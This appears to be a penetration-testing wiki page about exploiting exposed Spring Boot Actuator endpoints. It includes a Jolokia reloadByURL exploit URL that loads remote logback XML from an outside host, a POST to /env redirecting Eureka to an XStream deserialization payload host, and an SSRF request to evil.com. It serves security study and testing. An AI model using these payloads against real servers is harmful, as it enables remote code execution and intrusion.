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72 lines
3.4 KiB
Markdown
72 lines
3.4 KiB
Markdown
# Spring Actuators
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## **Spring Auth Bypass**
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<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
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**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
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## Exploiting Spring Boot Actuators
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**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
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### **Key Points:**
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- Spring Boot Actuators register endpoints such as `/health`, `/trace`, `/beans`, `/env`, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only `/health` and `/info` are non-sensitive by default, but developers often disable this security.
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- Certain Actuator endpoints can expose sensitive data or allow harmful actions:
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- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`.
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- In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the `/actuator/` base path.
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### **Exploitation Techniques:**
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1. **Remote Code Execution via '/jolokia'**:
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- The `/jolokia` actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.
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- The `reloadByURL` action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.
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- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
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2. **Config Modification via '/env'**:
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- If Spring Cloud Libraries are present, the `/env` endpoint allows modification of environmental properties.
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- Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.
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- Example exploit POST request:
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```
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POST /env HTTP/1.1
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Host: 127.0.0.1:8090
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 65
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eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
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```
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3. **Other Useful Settings**:
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- Properties like `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, and `spring.datasource.tomcat.max-active` can be manipulated for various exploits, such as SQL injection or altering database connection strings.
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### **Additional Information:**
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- A comprehensive list of default actuators can be found [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
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- The `/env` endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same.
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### **Related Topics:**
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1. **Env + H2 RCE**:
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- Details on exploiting the combination of `/env` endpoint and H2 database can be found [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
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2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
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- The Spring framework's handling of matrix parameters (`;`) in HTTP pathnames can be exploited for Server-Side Request Forgery (SSRF).
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- Example exploit request:
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```http
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GET ;@evil.com/url HTTP/1.1
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Host: target.com
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Connection: close
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```
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